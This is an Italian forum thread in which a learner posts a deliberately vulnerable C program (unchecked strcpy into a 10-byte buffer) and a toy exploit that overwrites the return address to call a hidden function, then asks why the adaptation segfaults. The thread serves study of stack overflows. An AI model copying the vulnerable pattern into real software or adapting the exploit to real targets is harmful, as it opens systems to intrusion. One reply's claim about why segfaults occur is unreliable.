ElCobra91 (Normal User)
Newbie
Messaggi: 18
Iscritto: 22/08/2010
|
Ciao a tutti,per studio stavo cercando di capire come si comporta il computer durante un exploit.su internet ho trovato la guida semplice di che spiega brevemente stack overflow .Volendomi addentrare di più nel concetto ho provato a seguire gli esempi.In pratica da una parte ho questo codice
prog1.c
Codice sorgente - presumibilmente C/C++ |
function (){
printf("Ci sei riuscito!!!!");
exit(0);
}
main (int argc, char *argv[]) {
char var[10];
strcpy(var,argv[1]);
}
|
e poi questo semplice codice che dovrebbe chiarirmi le idee dell'exploit
esempioexploit.c
Codice sorgente - presumibilmente C++ |
int main (void) { char buf[31],lancia[35]; int i; for (i=0; i<28; i++) { *(long *)&buf[i]=0x61; } *(long *)&buf[28]=0x00401294; strcpy(lancia,"prog1 "); strcat(lancia,buf); system(lancia); }
|
da quanto capito in pratica sfruttando l'overflow del primo posso far eseguire la funzione function.
e quindi da terminale digitando ./esempioexploit dovrebbe stampare "Ci sei riuscito".
Naturalmente chi ha scritto la guida ha specificato che con un buffer di 28 byte andava in overflow e tramite l'operazione di debugging ha disassemblato la function e letto quindi il suo indirizzo di memoria che è appunto 0x00401294. Ora io facendo un po di tentativi eseguendo prog1 da linea di comando e passando come argomento 196 volte la lettera A mi dice errore di segmentazione quindi suppongo che questa sarà la lunghezza del buffer che io devo usare.Quindo disassemblo la function copio l'indirizzo di memoria..in pratica al codice originale sostituisco i mie dati ma non mi torna nulla,cioè mi da segmentation fault.vi posto il mio codice
Codice sorgente - presumibilmente C++ |
#include<stdio.h> #include<stdlib.h> #include<string.h> int main (void) { char buf[199],lancia[205]; int i; for (i=0; i<196; i++) { *(long *)&buf[i]=0x61; } *(long *)&buf[195]=0x08048474; strcpy(lancia,"./prog1 "); strcat(lancia,buf); system(lancia); return 0; }
|
dove è che sbaglio?potete darmi delucidazioni per favore?grazie mille.. |
|
ElCobra91 (Normal User)
Newbie
Messaggi: 18
Iscritto: 22/08/2010
|
cmq alla riga 15 il valore è...buf[196]..
|
|
Pitagora (Member)
Expert
Messaggi: 367
Iscritto: 12/06/2010
|
Te lo spiego in parole povere. Tu programmatore non puoi gestire in un programma gli indirizzi di memoria. Questo compito viene assegnato ESPRESSAMENTE al computer. Ogni qual volta che si cerca di accere ad un indirizzo di memoria (diverso da quello dei puntatori assegnati, chiaramente) porterá un errore di segmentazione. Un altro esempio è il seguente:
Codice sorgente - presumibilmente C/C++ |
int main ()
{
int *addr = 0x2583813 // un indirizzo casuale
return 0;
}
|
Come potrai intuire, il puntatore tenta di puntare ad un indirizzo da me asegnato. Questo porterá, come avrai intuito, ad un errore di segmentazione.
Ultima modifica effettuata da Pitagora il 20/05/2011 alle 7:37 |
|
ElCobra91 (Normal User)
Newbie
Messaggi: 18
Iscritto: 22/08/2010
|
Quindi come posso fare?nella guida lo spiega in quel modo..come mai a lui viene?
|
|
ElCobra91 (Normal User)
Newbie
Messaggi: 18
Iscritto: 22/08/2010
|
È possibile che quello che ho scritto sia giusto ma per i controlli che esegue il sistema mi impepava di farlo?come posso avere il permesso di fare questa cosa?
|
|
Pitagora (Member)
Expert
Messaggi: 367
Iscritto: 12/06/2010
|
Suppondo che la guida sia vecchissima. Oggi, con le misure adottate su TUTTI i sustemi operativi non ti permettono di fare queste cose
|
|
HeDo (Founder Member)
Guru^2
Messaggi: 2765
Iscritto: 21/09/2007
|
Postato originariamente da Pitagora:
Suppondo che la guida sia vecchissima. Oggi, con le misure adottate su TUTTI i sustemi operativi non ti permettono di fare queste cose |
ma questo non è vero! |
|
Pitagora (Member)
Expert
Messaggi: 367
Iscritto: 12/06/2010
|
Postato originariamente da HeDo:
Postato originariamente da Pitagora:
Suppondo che la guida sia vecchissima. Oggi, con le misure adottate su TUTTI i sustemi operativi non ti permettono di fare queste cose |
ma questo non è vero! |
Argomenta! |
|
ElCobra91 (Normal User)
Newbie
Messaggi: 18
Iscritto: 22/08/2010
|
Hedo potresti spiegarmi dv sbaglio?
|
|